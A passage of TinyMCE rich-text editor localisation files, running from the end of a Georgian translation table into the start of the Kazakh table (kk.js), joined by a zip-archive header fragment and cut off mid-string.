\u10d4\u10da-\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1
\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8
\u10dc\u10d0\u10ea\u10d5\u10da\u10d0\u10d3
\u10d5\u10d4\u10d1-\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1\u10d0.
\u10d2\u10e1\u10e3\u10e0\u10d7, \u10e0\u10dd\u10db
\u10db\u10d8\u10d5\u10d0\u10dc\u10d8\u10ed\u10dd mailto:
\u10e4\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8?",
"Insert\/edit link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d0",
"Insert\/edit video": "\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Media": "\u10db\u10d4\u10d3\u10d8\u10d0",
"Alternative source":
"\u10d0\u10da\u10e2\u10d4\u10e0\u10dc\u10d0\u10e2\u10d8\u10e3\u10da\u10d8
\u10ec\u10e7\u10d0\u10e0\u10dd",
"Paste your embed code below:": "\u10d0\u10e5
\u10e9\u10d0\u10e1\u10d5\u10d8\u10d7 \u10d7\u10e5\u10d5\u10d4\u10dc\u10d8
\u10d9\u10dd\u10d3\u10d8:",
"Insert video": "\u10d5\u10d8\u10d3\u10d4\u10dd\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Poster": "\u10de\u10da\u10d0\u10d9\u10d0\u10e2\u10d8",
"Insert\/edit media": "\u10db\u10d4\u10d3\u10d8\u10d0\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0\/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Embed":
"\u10e9\u10d0\u10e8\u10d4\u10dc\u10d4\u10d1\u10d0",
"Nonbreaking space":
"\u10e3\u10ec\u10e7\u10d5\u10d4\u10e2\u10d8
\u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Page break": "\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1
\u10d2\u10d0\u10ec\u10e7\u10d5\u10d4\u10e2\u10d0",
"Paste as text": "\u10e9\u10d0\u10e1\u10d5\u10d8\u10d7
\u10e0\u10dd\u10d2\u10dd\u10e0\u10ea
\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",
"Preview": "\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0
\u10dc\u10d0\u10ee\u10d5\u10d0",
"Print":
"\u10d0\u10db\u10dd\u10d1\u10d4\u10ed\u10d5\u10d3\u10d0",
"Save": "\u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0",
"Could not find the specified string.":
"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da\u10d8
\u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8 \u10d5\u10d4\u10e0
\u10db\u10dd\u10d8\u10eb\u10d4\u10d1\u10dc\u10d0.",
"Replace":
"\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Next": "\u10e8\u10d4\u10db\u10d3\u10d4\u10d2\u10d8",
"Whole words": "\u10e1\u10e0\u10e3\u10da\u10d8
\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8",
"Find and replace":
"\u10db\u10dd\u10eb\u10d4\u10d1\u10dc\u10d4 \u10d3\u10d0
\u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4",
"Replace with":
"\u10e8\u10d4\u10e1\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d4\u10da\u10d8
\u10e1\u10d8\u10e2\u10e7\u10d5\u10d0",
"Find": "\u10eb\u10d4\u10d1\u10dc\u10d0",
"Replace all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1
\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Match case":
"\u10d3\u10d0\u10d0\u10db\u10d7\u10ee\u10d5\u10d8\u10d4
\u10d0\u10e1\u10dd\u10d4\u10d1\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0",
"Prev": "\u10ec\u10d8\u10dc\u10d0",
"Spellcheck":
"\u10db\u10d0\u10e0\u10d7\u10da\u10ec\u10d4\u10e0\u10d8\u10e1
\u10e8\u10d4\u10db\u10dd\u10ec\u10db\u10d4\u10d1\u10d0",
"Finish":
"\u10d3\u10d0\u10e1\u10d0\u10e1\u10e0\u10e3\u10da\u10d8",
"Ignore all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1
\u10d8\u10d2\u10dc\u10dd\u10e0\u10d8\u10e0\u10d4\u10d1\u10d0",
"Ignore":
"\u10d8\u10d2\u10dc\u10dd\u10e0\u10d8\u10e0\u10d4\u10d1\u10d0",
"Add to Dictionary":
"\u10da\u10d4\u10e5\u10e1\u10d8\u10d9\u10dd\u10dc\u10e8\u10d8
\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Insert row before":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d7\u10d0\u10d5\u10e8\u10d8
\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Rows":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8",
"Height": "\u10e1\u10d8\u10db\u10d0\u10e6\u10da\u10d4",
"Paste row after":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d1\u10dd\u10da\u10dd\u10e8\u10d8 \u10e9\u10d0\u10e1\u10db\u10d0",
"Alignment":
"\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Border color": "\u10e1\u10d0\u10d6\u10d0\u10e0\u10d8\u10e1
\u10e4\u10d4\u10e0\u10d8",
"Column group": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1
\u10ef\u10d2\u10e3\u10e4\u10d8",
"Row":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8",
"Insert column before":
"\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10d7\u10d0\u10d5\u10e8\u10d8
\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Split cell": "\u10e3\u10ef\u10e0\u10d8\u10e1
\u10d2\u10d0\u10e7\u10dd\u10e4\u10d0",
"Cell padding": "\u10e3\u10ef\u10e0\u10d8\u10e1
\u10e4\u10d0\u10e0\u10d7\u10dd\u10d1\u10d8",
"Cell spacing": "\u10e3\u10ef\u10e0\u10d8\u10e1
\u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0",
"Row type":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10e2\u10d8\u10de\u10d8",
"Insert table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Body": "\u10e2\u10d0\u10dc\u10d8",
"Caption":
"\u10ec\u10d0\u10e0\u10ec\u10d4\u10e0\u10d0",
"Footer": "\u10eb\u10d8\u10e0\u10d8",
"Delete row":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10ec\u10d0\u10e8\u10da\u10d0",
"Paste row before":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d7\u10d0\u10d5\u10e8\u10d8 \u10e9\u10d0\u10e1\u10db\u10d0",
"Scope": "\u10e9\u10d0\u10e0\u10e9\u10dd",
"Delete table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1
\u10ec\u10d0\u10e8\u10da\u10d0",
"H Align": "H
\u10e9\u10d0\u10db\u10ec\u10d9\u10e0\u10d8\u10d5\u10d4\u10d1\u10d0",
"Top": "\u10db\u10d0\u10e6\u10da\u10d0",
"Header cell": "\u10d7\u10d0\u10d5\u10d8\u10e1
\u10e3\u10ef\u10e0\u10d0",
"Column": "\u10e1\u10d5\u10d4\u10e2\u10d8",
"Row group":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10ef\u10d2\u10e3\u10e4\u10d8",
"Cell": "\u10e3\u10ef\u10e0\u10d0",
"Middle": "\u10e8\u10e3\u10d0",
"Cell type": "\u10e3\u10ef\u10e0\u10d8\u10e1
\u10e2\u10d8\u10de\u10d8",
"Copy row":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0",
"Row properties":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Table properties":
"\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1
\u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Bottom": "\u10e5\u10d5\u10d4\u10d3\u10d0",
"V Align": "V
\u10e9\u10d0\u10db\u10ec\u10d9\u10e0\u10d8\u10d5\u10d4\u10d1\u10d0",
"Header": "\u10d7\u10d0\u10d5\u10d8",
"Right":
"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"Insert column after": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1
\u10d1\u10dd\u10da\u10dd\u10e8\u10d8
\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Cols": "\u10e1\u10d5\u10d4\u10e2\u10d4\u10d1\u10d8",
"Insert row after":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d1\u10dd\u10da\u10dd\u10e8\u10d8
\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0",
"Width": "\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4",
"Cell properties": "\u10e3\u10ef\u10e0\u10d8\u10e1
\u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Left":
"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Cut row":
"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1
\u10d0\u10db\u10dd\u10ed\u10e0\u10d0",
"Delete column": "\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1
\u10ec\u10d0\u10e8\u10da\u10d0",
"Center": "\u10ea\u10d4\u10dc\u10e2\u10e0\u10e8\u10d8",
"Merge cells": "\u10e3\u10ef\u10e0\u10d4\u10d1\u10d8\u10e1
\u10d2\u10d0\u10d4\u10e0\u10d7\u10d8\u10d0\u10dc\u10d4\u10d1\u10d0",
"Insert template":
"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Templates":
"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d4\u10d1\u10d8",
"Background color": "\u10e3\u10d9\u10d0\u10dc\u10d0
\u10e4\u10d4\u10e0\u10d8",
"Custom...":
"\u10db\u10dd\u10e0\u10d2\u10d4\u10d1\u10e3\u10da\u10d8",
"Custom color":
"\u10db\u10dd\u10e0\u10d2\u10d4\u10d1\u10e3\u10da\u10d8
\u10e4\u10d4\u10e0\u10d8",
"No color": "\u10e4\u10d4\u10e0\u10d8\u10e1
\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4",
"Text color": "\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1
\u10e4\u10d4\u10e0\u10d8",
"Table of Contents":
"\u10e1\u10d0\u10e0\u10e9\u10d4\u10d5\u10d8",
"Show blocks":
"\u10d1\u10da\u10dd\u10d9\u10d4\u10d1\u10d8\u10e1
\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0",
"Show invisible characters":
"\u10e3\u10ee\u10d8\u10da\u10d0\u10d5\u10d8
\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10d4\u10d1\u10d8\u10e1
\u10e9\u10d5\u10d4\u10dc\u10d4\u10d1\u10d0",
"Words: {0}":
"\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8: {0}",
"Insert": "\u10e9\u10d0\u10e1\u10db\u10d0",
"File": "\u10e4\u10d0\u10d8\u10da\u10d8",
"Edit":
"\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1
\u10e4\u10d0\u10e0\u10d7\u10d8.
\u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-F9\u10e1
\u10db\u10d4\u10dc\u10d8\u10e3\u10e1
\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10eb\u10d0\u10ee\u10d4\u10d1\u10da\u10d0\u10d3.
\u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-F10\u10e1
\u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1.
\u10d3\u10d0\u10d0\u10ed\u10d8\u10e0\u10d4\u10d7 ALT-0\u10e1
\u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1",
"Tools":
"\u10d8\u10d0\u10e0\u10d0\u10e6\u10d4\u10d1\u10d8",
"View": "\u10dc\u10d0\u10ee\u10d5\u10d0",
"Table": "\u10ea\u10ee\u10e0\u10d8\u10da\u10d8",
"Format": "\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8"
});PKR��[aL`�T�Ttinymce/langs/kk.jsnu�[���tinymce.addI18n('kk',{
"Cut": "\u049a\u0438\u044b\u043f \u0430\u043b\u0443",
"Heading 5": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
5",
"Header 2":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0411\u0440\u0430\u0443\u0437\u0435\u0440\u0456\u04a3\u0456\u0437
\u0430\u043b\u043c\u0430\u0441\u0443
\u0431\u0443\u0444\u0435\u0440\u0456\u043d\u0435
\u0442\u0456\u043a\u0435\u043b\u0435\u0439
\u049b\u0430\u0442\u044b\u043d\u0430\u0439
\u0430\u043b\u043c\u0430\u0439\u0434\u044b. Ctrl+X\/C\/V
\u043f\u0435\u0440\u043d\u0435\u043b\u0435\u0440
\u0442\u0456\u0440\u043a\u0435\u0441\u0456\u043c\u0456\u043d
\u043f\u0430\u0439\u0434\u0430\u043b\u0430\u043d\u044b\u04a3\u044b\u0437.",
"Heading 4": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
4",
"Div": "Div",
"Heading 2": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
2",
"Paste": "\u049a\u043e\u044e",
"Close": "\u0416\u0430\u0431\u0443",
"Font Family":
"\u049a\u0430\u0440\u0456\u043f\u0442\u0435\u0440
\u0442\u043e\u0431\u044b",
"Pre": "Pre",
"Align right": "\u041e\u04a3\u0493\u0430
\u043e\u0440\u043d\u0430\u043b\u0430\u0441\u0442\u044b\u0440\u0443",
"New document": "\u0416\u0430\u04a3\u0430
\u049b\u04b1\u0436\u0430\u0442",
"Blockquote":
"\u0414\u04d9\u0439\u0435\u043a\u0441\u04e9\u0437",
"Numbered list":
"\u041d\u04e9\u043c\u0456\u0440\u043b\u0435\u043d\u0433\u0435\u043d
\u0442\u0456\u0437\u0456\u043c",
"Heading 1": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
1",
"Headings":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f",
"Increase indent":
"\u0428\u0435\u0433\u0456\u043d\u0456\u0441\u0442\u0456
\u0430\u0440\u0442\u0442\u044b\u0440\u0443",
"Formats":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0442\u0430\u0440",
"Headers":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430",
"Select all":
"\u0411\u0430\u0440\u043b\u044b\u0493\u044b\u043d
\u0442\u0430\u04a3\u0434\u0430\u0443",
"Header 3":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 3",
"Blocks":
"\u0411\u043b\u043e\u043a\u0442\u0435\u043a\u0442\u0435\u0441
(Block)",
"Undo":
"\u0411\u043e\u043b\u0434\u044b\u0440\u043c\u0430\u0443",
"Strikethrough": "\u0411\u0435\u043b\u0456\u043d\u0435\u043d
\u0441\u044b\u0437\u044b\u043b\u0493\u0430\u043d",
"Bullet list":
"\u0422\u0430\u04a3\u0431\u0430\u043b\u0430\u043d\u0493\u0430\u043d
\u0442\u0456\u0437\u0456\u043c",
"Header 1":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 1",
"Superscript": "\u04ae\u0441\u0442\u0456\u04a3\u0433\u0456
\u0438\u043d\u0434\u0435\u043a\u0441",
"Clear formatting":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0442\u0430\u0443\u0434\u0430\u043d
\u0442\u0430\u0437\u0430\u0440\u0442\u0443",
"Font Sizes":
"\u049a\u0430\u0440\u0456\u043f\u0442\u0435\u0440
\u04e9\u043b\u0448\u0435\u043c\u0456",
"Subscript": "\u0410\u0441\u0442\u044b\u04a3\u0493\u044b
\u0438\u043d\u0434\u0435\u043a\u0441",
"Header 6":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 6",
"Redo": "\u049a\u0430\u0439\u0442\u0430\u0440\u0443",
"Paragraph": "\u0410\u0431\u0437\u0430\u0446",
"Ok": "\u041e\u041a",
"Bold": "\u0416\u0443\u0430\u043d",
"Code": "\u041a\u043e\u0434",
"Italic": "\u041a\u04e9\u043b\u0431\u0435\u0443",
"Align center":
"\u041e\u0440\u0442\u0430\u0441\u044b\u043d\u0430
\u043e\u0440\u043d\u0430\u043b\u0430\u0441\u0442\u044b\u0440\u0443",
"Header 5":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 5",
"Heading 6": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
6",
"Heading 3": "\u0422\u0430\u049b\u044b\u0440\u044b\u043f
3",
"Decrease indent":
"\u0428\u0435\u0433\u0456\u043d\u0456\u0441\u0442\u0456
\u043a\u0435\u043c\u0456\u0442\u0443",
"Header 4":
"\u0422\u0430\u049b\u044b\u0440\u044b\u043f\u0448\u0430 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "\u041e\u0441\u044b
\u043e\u043f\u0446\u0438\u044f
\u04e9\u0448\u0456\u0440\u0456\u043b\u043c\u0435\u0433\u0435\u043d\u0448\u0435,
\u0431\u0443\u0444\u0435\u0440\u0434\u0435\u0433\u0456
\u043c\u04d9\u0442\u0456\u043d \u043a\u04d9\u0434\u0456\u043c\u0433\u0456
\u043c\u04d9\u0442\u0456\u043d \u0440\u0435\u0442\u0456\u043d\u0434\u0435
\u049b\u043e\u0439\u044b\u043b\u0430\u0434\u044b.",
"Underline": "\u0410\u0441\u0442\u044b
\u0441\u044b\u0437\u044b\u043b\u0493\u0430\u043d",
"Cancel": "\u0411\u0430\u0441
\u0442\u0430\u0440\u0442\u0443",
"Justify":
"\u0422\u043e\u043b\u0442\u044b\u0440\u0443",
"Inline":
"\u041a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0456\u043b\u0433\u0435\u043d
(Inline)",
"Copy": "\u041a\u04e9\u0448\u0456\u0440\u0443",
"Align left": "\u0421\u043e\u043b\u0493\u0430
\u043e\u0440\u043d\u0430\u043b\u0430\u0441\u0442\u044b\u0440\u0443",
"Visual aids": "\u041a\u04e9\u043c\u0435\u043a\u0448\u0456
\u0431\u0435\u043b\u0433\u0456\u043b\u0435\u0440",
"Lower Greek": "\u041a\u0456\u0448\u0456
\u0433\u0440\u0435\u043a
\u04d9\u0440\u0456\u043f\u0442\u0435\u0440\u0456",
"Square": "\u0428\u0430\u0440\u0448\u044b",
"Default": "\u04d8\u0434\u0435\u043f\u043a\u0456",
"Lower Alpha": "\u041a\u0456\u0448\u0456
\u04d9\u0440\u0456\u043f\u0442\u0435\u0440",
"Circle": "\u0428\u0435\u04a3\u0431\u0435\u0440",
"Disc": "\u0414\u0438\u0441\u043a",
"Upper Alpha": "\u0411\u0430\u0441
\u04d9\u0440\u0456\u043f\u0442\u0435\u0440",
"Upper Roman": "\u0411\u0430\u0441 \u0440\u0438\u043c
\u0446\u0438\u0444\u0440\u043b\u0430\u0440\u044b",
"Lower Roman": "\u041a\u0456\u0448\u0456 \u0440\u0438\u043c
\u0446\u0438\u0444\u0440\u043b\u0430\u0440\u044b",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id \u0442\u0435\u043a
\u049b\u0430\u043d\u0430 \u04d9\u0440\u0456\u043f\u0442\u0435\u043d
\u0431\u0430\u0441\u0442\u0430\u043b\u044b\u043f,
\u04d9\u0440\u0456\u043f\u0442\u0435\u0440,
\u0441\u0430\u043d\u0434\u0430\u0440,
\u0441\u044b\u0437\u044b\u049b\u0448\u0430\u043b\u0430\u0440,
\u043d\u04af\u043a\u0442\u0435\u043b\u0435\u0440 \u0436\u04d9\u043d\u0435
\u0442.\u0431 \u0436\u0430\u043b\u0493\u0430\u0441\u0443\u044b
\u0442\u0438\u0456\u0441.",
"Name": "\u0410\u0442\u044b",
"Anchor":
"\u0411\u0435\u0442\u0431\u0435\u043b\u0433\u0456",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?":
"\u0421\u0430\u049b\u0442\u0430\u043b\u043c\u0430\u0493\u0430\u043d
\u04e9\u0437\u0433\u0435\u0440\u0456\u0441\u0442\u0435\u0440
\u0431\u0430\u0440. \u0421\u0456\u0437
\u0448\u044b\u043d\u044b\u043c\u0435\u043d \u0431\u0430\u0441\u049b\u0430
\u0436\u0435\u0440\u0433\u0435 \u043a\u0435\u0442\u0443\u0434\u0456
\u049b\u0430\u043b\u0430\u0439\u0441\u044b\u0437 \u0431\u0430?",
"Restore last draft": "\u0421\u043e\u04a3\u0493\u044b
\u0441\u0430\u049b\u0442\u0430\u043b\u0493\u0430\u043d\u0434\u044b
\u049b\u0430\u043b\u043f\u044b\u043d\u0430
\u043a\u0435\u043b\u0442\u0456\u0440\u0443",
"Special character": "\u0410\u0440\u043d\u0430\u0439\u044b
\u0442\u0430\u04a3\u0431\u0430",
"Source code":
"\u0411\u0430\u0441\u0442\u0430\u043f\u049b\u044b
\u043a\u043e\u0434",
"Language": "\u0422\u0456\u043b",
"Insert\/Edit code sample": "\u041a\u043e\u0434
\u04af\u043b\u0433\u0456\u0441\u0456\u043d
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443\/\u0442\u04af\u0437\u0435\u0442\u0443",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u0422\u04af\u0441",
"Right to left": "\u041e\u04a3\u043d\u0430\u043d
\u0441\u043e\u043b\u0493\u0430",
"Left to right": "\u0421\u043e\u043b\u0434\u0430\u043d
\u043e\u04a3\u0493\u0430",
"Emoticons":
"\u0421\u043c\u0430\u0439\u043b\u0438\u043a\u0442\u0430\u0440",
"Robots": "Meta-robots",
"Document properties": "\u049a\u04b1\u0436\u0430\u0442
\u0441\u0438\u043f\u0430\u0442\u0442\u0430\u0440\u044b",
"Title": "\u0410\u0442\u0430\u0443\u044b",
"Keywords": "Meta-keywords",
"Encoding": "Meta-charset",
"Description":
"\u0421\u0438\u043f\u0430\u0442\u0442\u0430\u043c\u0430\u0441\u044b",
"Author": "Meta-author",
"Fullscreen": "\u0422\u043e\u043b\u044b\u049b
\u044d\u043a\u0440\u0430\u043d",
"Horizontal line":
"\u041a\u04e9\u043b\u0434\u0435\u043d\u0435\u04a3
\u0441\u044b\u0437\u044b\u049b",
"Horizontal space":
"\u041a\u04e9\u043b\u0434\u0435\u043d\u0435\u04a3\u0456\u043d\u0435\u043d
\u049b\u0430\u043b\u0430\u0442\u044b\u043d \u043e\u0440\u044b\u043d",
"Insert\/edit image": "\u0421\u0443\u0440\u0435\u0442
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443\/\u0442\u04af\u0437\u0435\u0442\u0443",
"General": "\u0416\u0430\u043b\u043f\u044b",
"Advanced":
"\u049a\u043e\u0441\u044b\u043c\u0448\u0430",
"Source": "\u0410\u0434\u0440\u0435\u0441\u0456",
"Border": "\u0416\u0438\u0435\u0433\u0456",
"Constrain proportions":
"\u041f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u044f\u043b\u0430\u0440\u0434\u044b
\u0441\u0430\u049b\u0442\u0430\u0443",
"Vertical space": "\u0422\u0456\u043a
\u043a\u0435\u04a3\u0434\u0456\u0433\u0456",
"Image description": "\u0421\u0443\u0440\u0435\u0442
\u0441\u0438\u043f\u0430\u0442\u0442\u0430\u043c\u0430\u0441\u044b",
"Style": "\u0421\u0442\u0438\u043b\u0456",
"Dimensions":
"\u04e8\u043b\u0448\u0435\u043c\u0434\u0435\u0440\u0456",
"Insert image": "\u0421\u0443\u0440\u0435\u0442
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Image": "\u0421\u0443\u0440\u0435\u0442",
"Zoom in":
"\u0416\u0430\u049b\u044b\u043d\u0434\u0430\u0442\u0443",
"Contrast":
"\u049a\u043e\u044e\u043b\u0430\u0442\u0443",
"Back": "\u0410\u0440\u0442\u049b\u0430",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Flip horizontally":
"\u041a\u04e9\u043b\u0434\u0435\u043d\u0435\u04a3\u043d\u0435\u043d
\u0430\u0443\u0434\u0430\u0440\u0443",
"Resize": "\u04e8\u043b\u0448\u0435\u043c\u0456\u043d
\u04e9\u0437\u0433\u0435\u0440\u0442\u0443",
"Sharpen":
"\u041d\u0430\u049b\u0442\u044b\u043b\u0430\u0443",
"Zoom out":
"\u0410\u043b\u044b\u0441\u0442\u0430\u0442\u0443",
"Image options": "\u0421\u0443\u0440\u0435\u0442
\u0431\u0430\u043f\u0442\u0430\u0443\u043b\u0430\u0440\u044b",
"Apply": "\u0421\u0430\u049b\u0442\u0430\u0443",
"Brightness":
"\u0410\u0448\u044b\u049b\u0442\u0430\u0443",
"Rotate clockwise": "\u0421\u0430\u0493\u0430\u0442
\u0442\u0456\u043b\u0456\u043d\u0456\u04a3
\u0431\u0430\u0493\u044b\u0442\u044b\u043c\u0435\u043d
\u0431\u04b1\u0440\u0443",
"Rotate counterclockwise": "\u0421\u0430\u0493\u0430\u0442
\u0442\u0456\u043b\u0456\u043d\u0456\u04a3
\u0431\u0430\u0493\u044b\u0442\u044b\u043d\u0430
\u049b\u0430\u0440\u0441\u044b \u0431\u04b1\u0440\u0443",
"Edit image": "\u0421\u0443\u0440\u0435\u0442\u0442\u0456
\u04e9\u0437\u0433\u0435\u0440\u0442\u0443",
"Color levels": "\u0422\u04af\u0441
\u0434\u0435\u04a3\u0433\u0435\u0439\u043b\u0435\u0440\u0456",
"Crop": "\u041a\u0435\u0441\u0443",
"Orientation": "\u0411\u0430\u0493\u0434\u0430\u0440",
"Flip vertically":
"\u0422\u0456\u0433\u0456\u043d\u0435\u043d
\u0430\u0443\u0434\u0430\u0440\u0443",
"Invert":
"\u041a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Date\/time":
"\u041a\u04af\u043d\/\u0443\u0430\u049b\u044b\u0442",
"Insert date\/time":
"\u041a\u04af\u043d\/\u0443\u0430\u049b\u044b\u0442
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Remove link":
"\u0421\u0456\u043b\u0442\u0435\u043c\u0435\u043d\u0456
\u0430\u043b\u044b\u043f \u0442\u0430\u0441\u0442\u0430\u0443",
"Url": "URL-\u0430\u0434\u0440\u0435\u0441\u0456",
"Text to display":
"\u041a\u04e9\u0440\u0441\u0435\u0442\u0456\u043b\u0435\u0442\u0456\u043d
\u043c\u04d9\u0442\u0456\u043d",
"Anchors":
"\u0421\u0456\u043b\u0442\u0435\u043c\u0435\u043b\u0435\u0440",
"Insert link": "\u0421\u0456\u043b\u0442\u0435\u043c\u0435
\u043a\u0456\u0440\u0456\u0441\u0442\u0456\u0440\u0443",
"Link": "\u0421\u0456\u043b\u0442\u0435\u043c\u0435",
"New window": "\u0416\u0430\u04a3\u0430
\u0442\u0435\u0440\u0435\u0437\u0435",
"None": "\u0416\u043e\u049b",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "\u0421\u0456\u0437
\u0435\u04a3\u0433\u0456\u0437\u0456\u043f
\u0442\u04b1\u0440\u0493\u0430\u043d URL
\u0441\u044b\u0440\u0442\u049b\u044b
\u0441\u0456\u043b\u0442\u0435\u043c\u0435 \u0431\u043e\u043b\u044b\u043f
\u0442\u0430\u0431\u044b\u043b\u0430\u0434\u044b.
\u0410\u043b\u0434\u044b\u043d\u0430 http:\/\/
\u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0456\u043d
